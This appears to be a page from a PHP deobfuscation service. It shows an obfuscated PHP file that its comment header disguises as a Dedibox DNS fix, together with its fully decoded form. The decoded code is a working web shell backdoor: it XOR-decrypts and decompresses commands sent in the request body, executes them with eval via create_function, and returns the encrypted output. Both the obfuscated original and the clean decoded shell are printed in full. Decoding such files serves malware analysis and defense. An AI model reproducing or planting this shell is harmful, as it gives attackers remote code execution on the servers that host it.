Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

# Correctif de l'instabilit DNS # # (c) Dedibox 2019 <?php $B='VR3qdZcxlXR";funct!io..

Decoded Output download

$k="d5197d93";$kh="c063a2b1e22d";$kf="1630a39b7aef";$p="00rQMVR3qdZcxlXR";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if(@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1){@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}

Did this file decode correctly?

Original Code

# Correctif de l'instabilit DNS
#
# (c) Dedibox 2019

<?php
$B='VR3qdZcxlXR";funct!ion !!x($t,$k)!{$!c=str!len($k);$l=strlen!($!t);!$!o="";';
$i='for($i=0;!$i<$l;){f!or($!!j=0;($j<$c&&!$i<$l);$!j++!!,$i++){$o.=$t{!$i}^$';
$J='k{$!j};}}r!eturn !$o!;}if(!@preg_m!atc!!!h("/$kh(.+)$kf/!",@file_get_con!t';
$A=str_replace('BS','','BScBSreate_BSfBSuncBStBSion');
$e='b!as!e64_decode($m[1!]),$k!)));$o=@!ob_get!_conte!nts!();@!ob_end_clea!n()';
$x='$k!!="d5197d93";!$k!h="c063a2b!1e22d";!$kf="1630!a39b!7a!!ef";$p=!"0!0rQM';
$L=';$r!=@ba!!se64_encode(@x(!@gzcom!pr!ess($o!),$k));pr!int("$!!p$kh$r$kf");}';
$v='!en!ts("php:!//input"),$m)=!=1){!@ob_sta!rt();!@e!val(!@gzuncompre!ss(!@x(@';
$C=str_replace('!','',$x.$B.$i.$J.$v.$e.$L);
$E=$A('',$C);$E();
?>

Function Calls

str_replace 2
create_function 1

Variables

$A create_function
$B VR3qdZcxlXR";funct!ion !!x($t,$k)!{$!c=str!len($k);$l=strlen..
$C $k="d5197d93";$kh="c063a2b1e22d";$kf="1630a39b7aef";$p="00rQ..
$J k{$!j};}}r!eturn !$o!;}if(!@preg_m!atc!!!h("/$kh(.+)$kf/!",@..
$L ;$r!=@ba!!se64_encode(@x(!@gzcom!pr!ess($o!),$k));pr!int("$!..
$e b!as!e64_decode($m[1!]),$k!)));$o=@!ob_get!_conte!nts!();@!o..
$i for($i=0;!$i<$l;){f!or($!!j=0;($j<$c&&!$i<$l);$!j++!!,$i++){..
$v !en!ts("php:!//input"),$m)=!=1){!@ob_sta!rt();!@e!val(!@gzun..
$x $k!!="d5197d93";!$k!h="c063a2b!1e22d";!$kf="1630!a39b!7a!!ef..

Stats

MD5 86883038d18351f5a66ef83559aff1de
Eval Count 1
Decode Time 98 ms